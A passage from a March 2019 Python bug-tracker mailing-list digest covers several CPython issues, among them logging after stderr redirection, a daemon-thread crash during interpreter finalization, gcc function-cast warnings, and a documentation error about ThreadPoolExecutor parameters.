    if not kwargs:
        kwargs = {}
    with io.StringIO() as sio:
        with contextlib.redirect_stdout(sio), contextlib.redirect_stderr(sio):
            target(*args, **kwargs)
            output = sio.getvalue()

    print(output)


def dummy():
    print('dummy test')
    logging.warning('dummy test')

def dummy2():
    print('dummy2 test')


capture_output(dummy)  # works
capture_output(dummy)  # won't work anymore.

capture_output(dummy2)  # works
capture_output(dummy2)  # works

Here is what I get running this code:

dummy test
WARNING:root:dummy test

dummy test
--- Logging error ---
Traceback (most recent call last):
  File "/usr/lib/python3.5/logging/__init__.py", line 982, in emit
    stream.write(msg)
ValueError: I/O operation on closed file
Call stack:
  File "tt.py", line 43, in <module>
    capture_output(dummy)  # won't work anymore.
  File "tt.py", line 28, in capture_output
    target(*args, **kwargs)
  File "tt.py", line 36, in dummy
    logging.warning('dummy test')
Message: 'dummy test'
Arguments: ()

dummy2 test

dummy2 test


P.S. here is original question I asked on stack overflow: https://stackoverflow.com/questions/54999650/python3-redirected-stderr-not-reset-properly. I got suggestion to report it as a bug.

----------
components: Library (Lib)
messages: 337178
nosy: Andrius Laukavi?ius
priority: normal
severity: normal
status: open
title: Redirected stderr not reset properly when using logging
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36193>
_______________________________________

From report at bugs.python.org  Tue Mar  5 06:19:35 2019
From: report at bugs.python.org (SilentGhost)
Date: Tue, 05 Mar 2019 11:19:35 +0000
Subject: [issue36193] Redirected stderr not reset properly when using logging
In-Reply-To: <1551784639.74.0.156563550591.issue36193@roundup.psfhosted.org>
Message-ID: <1551784775.67.0.508184473764.issue36193@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +vinay.sajip

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36193>
_______________________________________

From report at bugs.python.org  Tue Mar  5 06:23:11 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 11:23:11 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551784991.38.0.371654668984.issue33608@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> That's okay, Victor.  Thanks for jumping on this.  I'll take a look when I get a chance.

>From what I saw, your first commit was enough to reproduce the crash.

If I recall correctly, Antoine Pitrou modified the GIL so threads exit immediately when Py_Finalize() is called. I'm thinking at:

void
PyEval_RestoreThread(PyThreadState *tstate)
{
    ...
    take_gil(tstate);
    /* _Py_Finalizing is protected by the GIL */
    if (_Py_IsFinalizing() && !_Py_CURRENTLY_FINALIZING(tstate)) {
        drop_gil(tstate);
        PyThread_exit_thread();
        Py_UNREACHABLE();
    }
    ...
    PyThreadState_Swap(tstate);
}

Problem: this code uses tstate, whereas the crash occurred because tstate pointed to freed memory:

"""
Thread 1 got the crash

(gdb) p *tstate
$3 = {
  prev = 0xdbdbdbdbdbdbdbdb,
  next = 0xdbdbdbdbdbdbdbdb,
  interp = 0xdbdbdbdbdbdbdbdb,
  ...
}

...

Thread 1 (LWP 100696):
#0  0x0000000000368210 in take_gil (tstate=0x8027e2050) at Python/ceval_gil.h:216
#1  0x0000000000368a94 in PyEval_RestoreThread (tstate=0x8027e2050) at Python/ceval.c:281
...
"""

https://bugs.python.org/issue36114#msg337090

When this crash occurred, Py_Finalize() already completed in the main thread!

"""
void _Py_NO_RETURN
Py_Exit(int sts)
{
    if (Py_FinalizeEx() < 0) {  /* <==== DONE! */
        sts = 120;
    }

    exit(sts);    /* <=============== Crash occurred here! */
}
"""

Py_Finalize() is supposed to wait for threads before deleting Python thread states:

"""
int
Py_FinalizeEx(void)
{
    ...

    /* The interpreter is still entirely intact at this point, and the
     * exit funcs may be relying on that.  In particular, if some thread
     * or exit func is still waiting to do an import, the import machinery
     * expects Py_IsInitialized() to return true.  So don't say the
     * interpreter is uninitialized until after the exit funcs have run.
     * Note that Threading.py uses an exit func to do a join on all the
     * threads created thru it, so this also protects pending imports in
     * the threads created via Threading.
     */
    call_py_exitfuncs(interp);

    ...

    /* Remaining threads (e.g. daemon threads) will automatically exit
       after taking the GIL (in PyEval_RestoreThread()). */
    _PyRuntime.finalizing = tstate;
    _PyRuntime.initialized = 0;
    _PyRuntime.core_initialized = 0;
    ...

    /* Delete current thread. After this, many C API calls become crashy. */
    PyThreadState_Swap(NULL);

    PyInterpreterState_Delete(interp);

    ...
}
"""

The real problem for years are *deamon threads* which... BY DESIGN... remain alive after Py_Finalize() exit! But as I explained, they must exit as soon at they attempt to get GIL.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Tue Mar  5 06:29:22 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 11:29:22 +0000
Subject: [issue35678] subprocess.check_output(): OSError: [WinError 87]
In-Reply-To: <1546865273.42.0.642343749188.issue35678@roundup.psfhosted.org>
Message-ID: <1551785362.28.0.860743462317.issue35678@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Geoff, we probably need a new issue for this,

Yes please, this issue is closed.

> Prior to Windows 10, the working directory is limited to MAX_PATH - 2 (258) characters. (...) CreateProcessW fails with ERROR_INVALID_PARAMETER (87).

Geoff: for your bug report, please dump len(os.getcwd()) as Eryk asked, but try also to dump all arguments passed to CreateProcess, or at least arguments passed to subprocess.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35678>
_______________________________________

From report at bugs.python.org  Tue Mar  5 06:31:32 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 11:31:32 +0000
Subject: [issue36183] test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.7 and
 3.x
In-Reply-To: <1551708565.34.0.244594683598.issue36183@roundup.psfhosted.org>
Message-ID: <1551785492.43.0.526947056923.issue36183@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Since test_gdb only failed on your buildbot, I close the issue.

As I wrote, I'm unable to reproduce the issue on my FreeBSD 12 VM. It's not easy to debug if I don't have a full access (root user) to the issue. Moreover, honestly, I'm not really excited to debug this issue :-)

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36183>
_______________________________________

From report at bugs.python.org  Tue Mar  5 06:32:14 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 11:32:14 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551785534.42.0.793031700288.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 5a02e0d1c8a526fc4e80a2fb8b4a9d5bc64c7d82 by Victor Stinner in branch 'master':
bpo-36142: Add _PyPreConfig.utf8_mode (GH-12174)
https://github.com/python/cpython/commit/5a02e0d1c8a526fc4e80a2fb8b4a9d5bc64c7d82


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Tue Mar  5 06:57:01 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 05 Mar 2019 11:57:01 +0000
Subject: [issue36193] Redirected stderr not reset properly when using logging
In-Reply-To: <1551784639.74.0.156563550591.issue36193@roundup.psfhosted.org>
Message-ID: <1551787021.83.0.805979644309.issue36193@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

A little simplified reproducer :  

import io, contextlib, logging

message = 'dummy test'

with io.StringIO() as sio:
    with contextlib.redirect_stdout(sio), contextlib.redirect_stderr(sio):
        logging.warning(message)
        output = sio.getvalue()
    print(output)

logging.warning(message)


$ python3.7 /tmp/foo.py
WARNING:root:dummy test

--- Logging error ---
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/logging/__init__.py", line 1036, in emit
    stream.write(msg)
ValueError: I/O operation on closed file
Call stack:
  File "/tmp/foo.py", line 11, in <module>
    logging.warning(message)
Message: 'dummy test'
Arguments: ()

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36193>
_______________________________________

From report at bugs.python.org  Tue Mar  5 07:03:05 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 05 Mar 2019 12:03:05 +0000
Subject: [issue36191] pubkeys.txt contains bogus keys
In-Reply-To: <1551739151.95.0.42643346766.issue36191@roundup.psfhosted.org>
Message-ID: <1551787385.35.0.748250323323.issue36191@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Thanks for the report but the tracker deals with bugs in CPython. python.org website has a Github repo and I think this can be reported at https://github.com/python/pythondotorg where it could get a better resolution. I would propose closing it as third party.

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36191>
_______________________________________

From report at bugs.python.org  Tue Mar  5 07:26:04 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 12:26:04 +0000
Subject: [issue36019] test_urllib fail in s390x buildbots:
 http://www.example.com/
In-Reply-To: <1550450495.08.0.90804425705.issue36019@roundup.psfhosted.org>
Message-ID: <1551788764.48.0.553741611163.issue36019@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
pull_requests: +12172

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36019>
_______________________________________

From report at bugs.python.org  Tue Mar  5 07:34:20 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 12:34:20 +0000
Subject: [issue29571] test_re is failing when local is set for `en_IN`
In-Reply-To: <1487179751.17.0.601093046575.issue29571@psf.upfronthosting.co.za>
Message-ID: <1551789260.23.0.448183616956.issue29571@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I wrote C and Python code to check what is the effective encoding used by the LC_CTYPE locale before setlocale(LC_CTYPE, "") is called on Python 3.7. Result: Windows uses the Latin1 encoding.

See attached files: _testcapi.patch + loc.py produced loc.log (output).

----------
Added file: https://bugs.python.org/file48187/loc.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29571>
_______________________________________

From report at bugs.python.org  Tue Mar  5 07:34:26 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 12:34:26 +0000
Subject: [issue29571] test_re is failing when local is set for `en_IN`
In-Reply-To: <1487179751.17.0.601093046575.issue29571@psf.upfronthosting.co.za>
Message-ID: <1551789266.41.0.198066447216.issue29571@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


Added file: https://bugs.python.org/file48188/loc.log

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29571>
_______________________________________

From report at bugs.python.org  Tue Mar  5 07:34:33 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 12:34:33 +0000
Subject: [issue29571] test_re is failing when local is set for `en_IN`
In-Reply-To: <1487179751.17.0.601093046575.issue29571@psf.upfronthosting.co.za>
Message-ID: <1551789273.41.0.465289812654.issue29571@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


Added file: https://bugs.python.org/file48189/_testcapi.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29571>
_______________________________________

From report at bugs.python.org  Tue Mar  5 07:44:52 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 12:44:52 +0000
Subject: [issue29571] test_re is failing when local is set for `en_IN`
In-Reply-To: <1487179751.17.0.601093046575.issue29571@psf.upfronthosting.co.za>
Message-ID: <1551789892.0.0.497425210175.issue29571@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12173

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29571>
_______________________________________

From report at bugs.python.org  Tue Mar  5 08:50:43 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 13:50:43 +0000
Subject: [issue36194] Add "make regen-configure"
Message-ID: <1551793843.2.0.191897840943.issue36194@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

The policy of Fedora is to regenerate generated files in the source code of a package. python3.spec runs "autoconf" and "autoheader" to regenerate configure and pyconfig.h.

IMHO it would be good to have such recipe upstream, something like "make regen-all".

I'm not sure if we can include it in "make regen-all". Currently, the main mandatory Linux job on Travis CI runs "make regen-all" and then ensure that no file has been modified. Problem: configure changes depending on the autoconf version, and usually a Linux distribution only includes a single autoconf version... That's why you may have noticed the "rpath dance" in the generated configure script... Depending on the autoconf version, you get rpath or not...

Fedora issue:
https://bugzilla.redhat.com/show_bug.cgi?id=1377240

----------
components: Build
messages: 337186
nosy: vstinner, zach.ware
priority: normal
severity: normal
status: open
title: Add "make regen-configure"
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36194>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:19:03 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 14:19:03 +0000
Subject: [issue36019] test_urllib fail in s390x buildbots:
 http://www.example.com/
In-Reply-To: <1550450495.08.0.90804425705.issue36019@roundup.psfhosted.org>
Message-ID: <1551795543.09.0.0827584840906.issue36019@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 84772e0ab49ee09acb44e30551aa5cfc1eafe5dc by Victor Stinner (St?phane Wirtel) in branch '2.7':
[2.7] bpo-36019: Use pythontest.net in urllib network tests (GH-11941) (GH-12177)
https://github.com/python/cpython/commit/84772e0ab49ee09acb44e30551aa5cfc1eafe5dc


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36019>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:20:57 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 14:20:57 +0000
Subject: [issue36019] test_urllib fail in s390x buildbots:
 http://www.example.com/
In-Reply-To: <1550450495.08.0.90804425705.issue36019@roundup.psfhosted.org>
Message-ID: <1551795657.17.0.313650499739.issue36019@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

St?phane Wirtel backported his fix to Python 2.7. I didn't see failures related to example.com on 3.7 and master branches, so I think that it's now time to close the issue.

Thanks St?phane!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36019>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:28:02 2019
From: report at bugs.python.org (Harmandeep Singh)
Date: Tue, 05 Mar 2019 14:28:02 +0000
Subject: [issue36195] initializer is not a valid param in ThreadPoolExecutor
Message-ID: <1551796082.49.0.510573730128.issue36195@roundup.psfhosted.org>


New submission from Harmandeep Singh <harmandeep3091 at gmail.com>:

In Python 3.6, the docs for ThreadPoolExecutor mentions the following line:

initializer is an optional callable that is called at the start of each worker thread; initargs is a tuple of arguments passed to the initializer. Should initializer raise an exception, all currently pending jobs will raise a BrokenThreadPool, as well any attempt to submit more jobs to the pool.

But, from my experiment in Python 3.6 and 3.7, I have observed that `initializer` and `initargs` were introduced in Python 3.7.

----------
messages: 337189
nosy: harman786
priority: normal
severity: normal
status: open
title: initializer is not a valid param in ThreadPoolExecutor
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36195>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:31:26 2019
From: report at bugs.python.org (Joris VAN HOUTVEN)
Date: Tue, 05 Mar 2019 14:31:26 +0000
Subject: [issue36196] sys.executable does not return python3 executable when
 using uwsgi
Message-ID: <1551796286.02.0.860933813615.issue36196@roundup.psfhosted.org>


New submission from Joris VAN HOUTVEN <joris.vanhoutven at uhasselt.be>:

when serving a Flask app with uwsgi, using
`sys.executable`
will provide you the path to your uwsgi executable, not your python executable.
However, the docs specify that it should always return the python interpreter: https://docs.python.org/3/library/sys.html#sys.executable

----------
assignee: docs at python
components: Documentation
messages: 337190
nosy: Joris VAN HOUTVEN, docs at python
priority: normal
severity: normal
status: open
title: sys.executable does not return python3 executable when using uwsgi
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36196>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:31:54 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 14:31:54 +0000
Subject: [issue36197] Compilation Warning for memoryview.tobytes
Message-ID: <1551796314.07.0.684644791706.issue36197@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

gcc -pthread -c -Wno-unused-result -Wsign-compare -DDYNAMIC_ANNOTATIONS_ENABLED=1 -g -Og -Wall    -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Werror=implicit-function-declaration  -I./Include/internal  -I. -I./Include    -DPy_BUILD_CORE -o Objects/memoryobject.o Objects/memoryobject.c
Objects/memoryobject.c:3112:21: warning: cast between incompatible function types from 'PyObject * (*)(PyMemoryViewObject *, PyObject *, PyObject *)' {aka 'struct _object * (*)(struct <anonymous> *, struct _object *, struct _object *)'} to 'PyObject * (*)(PyObject *, PyObject *)' {aka 'struct _object * (*)(struct _object *, struct _object *)'} [-Wcast-function-type]
     {"tobytes",     (PyCFunction)memory_tobytes, METH_VARARGS|METH_KEYWORDS, memory_tobytes_doc},


I am preparing a small PR for this issue.

----------
assignee: matrixise
messages: 337191
nosy: matrixise
priority: normal
severity: normal
status: open
title: Compilation Warning for memoryview.tobytes
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36197>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:32:56 2019
From: report at bugs.python.org (Harmandeep Singh)
Date: Tue, 05 Mar 2019 14:32:56 +0000
Subject: [issue36195] initializer is not a valid param in ThreadPoolExecutor
In-Reply-To: <1551796082.49.0.510573730128.issue36195@roundup.psfhosted.org>
Message-ID: <1551796376.48.0.419710784448.issue36195@roundup.psfhosted.org>


Change by Harmandeep Singh <harmandeep3091 at gmail.com>:


----------
assignee:  -> docs at python
components: +Documentation
nosy: +docs at python

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36195>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:33:05 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 14:33:05 +0000
Subject: [issue36197] Compilation Warning for memoryview.tobytes
In-Reply-To: <1551796314.07.0.684644791706.issue36197@roundup.psfhosted.org>
Message-ID: <1551796385.21.0.978778755895.issue36197@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
keywords: +patch
pull_requests: +12174
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36197>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:34:32 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 14:34:32 +0000
Subject: [issue36197] Compilation Warning for memoryview.tobytes
In-Reply-To: <1551796314.07.0.684644791706.issue36197@roundup.psfhosted.org>
Message-ID: <1551796472.17.0.320857654632.issue36197@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
keywords: +easy (C)

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36197>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:34:50 2019
From: report at bugs.python.org (Han)
Date: Tue, 05 Mar 2019 14:34:50 +0000
Subject: [issue36198] Misleading in library/sets document
Message-ID: <1551796490.3.0.534050934709.issue36198@roundup.psfhosted.org>


New submission from Han <phoenix.seek at gmail.com>:

Doc/library/sets.rst said operation s.update(t)'s result is "return set s with elements added from t".
But update()'s return value is None.
I think change it to "set s with elements added from t" would be better.
So are operations intersection_update(), difference_update(), and symmetric_difference_update().

----------
assignee: docs at python
components: Documentation
messages: 337192
nosy: DeadmanWalking, docs at python
priority: normal
severity: normal
status: open
title: Misleading in library/sets document
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36198>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:37:58 2019
From: report at bugs.python.org (Peter Otten)
Date: Tue, 05 Mar 2019 14:37:58 +0000
Subject: [issue36193] Redirected stderr not reset properly when using logging
In-Reply-To: <1551784639.74.0.156563550591.issue36193@roundup.psfhosted.org>
Message-ID: <1551796678.83.0.224252752433.issue36193@roundup.psfhosted.org>


Peter Otten <__peter__ at web.de> added the comment:

I see various options to address this.

(1) Change basicConfig() to use __stderr__ instead of stderr to avoid redirections from within the script.

(2) Change your script to call basicConfig() explicitly, before the temporary redirection takes place. 

In both cases logging output will always go to the "real" stderr.

(3) Write a special handler that fetches sys.stderr lazily. Here's a sketch:

class StderrHandler(logging.StreamHandler):
    def __init__(self):
        super().__init__()

    def get_stream(self):
        return sys.stderr

    def set_stream(self, _value):
        pass

    stream = property(get_stream, set_stream)

logging.basicConfig(handlers=[StderrHandler()])

As written this is likely to fail with multiple threads...

My personal favourite is option (2).

----------
nosy: +peter.otten

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36193>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:38:21 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Tue, 05 Mar 2019 14:38:21 +0000
Subject: [issue29515] socket module missing IPPROTO_IPV6,
 IPPROTO_IPV4 on Windows
In-Reply-To: <1486664862.54.0.729311605676.issue29515@psf.upfronthosting.co.za>
Message-ID: <1551796701.07.0.449108854161.issue29515@roundup.psfhosted.org>


Giampaolo Rodola' <g.rodola at gmail.com> added the comment:

@Eryk do you mind if I make a PR with your code(I will of course author you)? Regardless from issue17561 I think this is an important fix because without IPPROTO_IPV6 is not possible to implement a dual-stack IPv4/6 socket on Windows.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29515>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:44:42 2019
From: report at bugs.python.org (Peter Otten)
Date: Tue, 05 Mar 2019 14:44:42 +0000
Subject: [issue36191] pubkeys.txt contains bogus keys
In-Reply-To: <1551739151.95.0.42643346766.issue36191@roundup.psfhosted.org>
Message-ID: <1551797082.56.0.503636173156.issue36191@roundup.psfhosted.org>


Change by Peter Otten <__peter__ at web.de>:


----------
nosy: +peter.otten

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36191>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:49:15 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 14:49:15 +0000
Subject: [issue36197] Compilation Warning for memoryview.tobytes and
 _collections._tuplegetter.__reduce__
In-Reply-To: <1551796314.07.0.684644791706.issue36197@roundup.psfhosted.org>
Message-ID: <1551797355.38.0.562810617495.issue36197@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Fix an other warning in the same PR

_collections._tuplegetter.__reduce__

----------
title: Compilation Warning for memoryview.tobytes -> Compilation Warning for memoryview.tobytes and _collections._tuplegetter.__reduce__

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36197>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:57:52 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 14:57:52 +0000
Subject: [issue36197] Compilation Warning for memoryview.tobytes and
 _collections._tuplegetter.__reduce__
In-Reply-To: <1551796314.07.0.684644791706.issue36197@roundup.psfhosted.org>
Message-ID: <1551797872.54.0.582144590297.issue36197@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I prefer to reuse bpo-33012.

----------
nosy: +vstinner
resolution:  -> duplicate
stage: patch review -> resolved
status: open -> closed
superseder:  -> Invalid function cast warnings with gcc 8 for METH_NOARGS

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36197>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:58:30 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 14:58:30 +0000
Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS
In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za>
Message-ID: <1551797910.19.0.651635383647.issue33012@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I marked bpo-36197 as a duplicate of this issue:

"""
gcc -pthread -c -Wno-unused-result -Wsign-compare -DDYNAMIC_ANNOTATIONS_ENABLED=1 -g -Og -Wall    -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Werror=implicit-function-declaration  -I./Include/internal  -I. -I./Include    -DPy_BUILD_CORE -o Objects/memoryobject.o Objects/memoryobject.c
Objects/memoryobject.c:3112:21: warning: cast between incompatible function types from 'PyObject * (*)(PyMemoryViewObject *, PyObject *, PyObject *)' {aka 'struct _object * (*)(struct <anonymous> *, struct _object *, struct _object *)'} to 'PyObject * (*)(PyObject *, PyObject *)' {aka 'struct _object * (*)(struct _object *, struct _object *)'} [-Wcast-function-type]
     {"tobytes",     (PyCFunction)memory_tobytes, METH_VARARGS|METH_KEYWORDS, memory_tobytes_doc},


I am preparing a small PR for this issue.
"""

=> PR 12179

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33012>
_______________________________________

From report at bugs.python.org  Tue Mar  5 09:58:48 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 14:58:48 +0000
Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS
In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za>
Message-ID: <1551797928.02.0.465402353417.issue33012@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
pull_requests: +12175

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33012>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:05:08 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 05 Mar 2019 15:05:08 +0000
Subject: [issue36195] initializer is not a valid param in ThreadPoolExecutor
In-Reply-To: <1551796082.49.0.510573730128.issue36195@roundup.psfhosted.org>
Message-ID: <1551798308.56.0.692033769164.issue36195@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Thanks for the report. You are correct. The parameters were introduced in issue21423 in 3.7. It seems that this backported by mistake with PR 10958 where minor grammar was fixed with 40a61da40d252626f8b9ff524d76c1f0ccb3a4f7 but backporting caused the whole paragraph to be added to 3.6.

3.6 is in security fixes only mode. So I am not sure about the fix being merged. I am adding Ned to take a call on this.

----------
nosy: +ned.deily, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36195>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:10:56 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 15:10:56 +0000
Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS
In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za>
Message-ID: <1551798656.57.0.886664940138.issue33012@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 359a2f3daba49fde0d3a07fb3c7a8b051c450d08 by Victor Stinner (St?phane Wirtel) in branch 'master':
bpo-33012: Fix compilation warnings in memoryobject.c and _collectionsmodule.c (GH-12179)
https://github.com/python/cpython/commit/359a2f3daba49fde0d3a07fb3c7a8b051c450d08


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33012>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:17:45 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 15:17:45 +0000
Subject: [issue29571] test_re is failing when local is set for `en_IN`
In-Reply-To: <1487179751.17.0.601093046575.issue29571@psf.upfronthosting.co.za>
Message-ID: <1551799065.82.0.695238915924.issue29571@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 279657bac2856039ba422c18a3d7f227b455e9d6 by Victor Stinner in branch '3.7':
[3.7] bpo-29571: Fix test_re.test_locale_flag() (GH-12178)
https://github.com/python/cpython/commit/279657bac2856039ba422c18a3d7f227b455e9d6


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29571>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:19:43 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 05 Mar 2019 15:19:43 +0000
Subject: [issue36195] initializer is not a valid param in ThreadPoolExecutor
In-Reply-To: <1551796082.49.0.510573730128.issue36195@roundup.psfhosted.org>
Message-ID: <1551799183.06.0.0494231219178.issue36195@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

If someone is willing to make a doc fix PR for this, I will merge it for 3.6.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36195>
_______________________________________

From report at bugs.python.org  Tue Mar  5 10:23:42 2019
From: report at bugs.python.org (Harmandeep Singh)
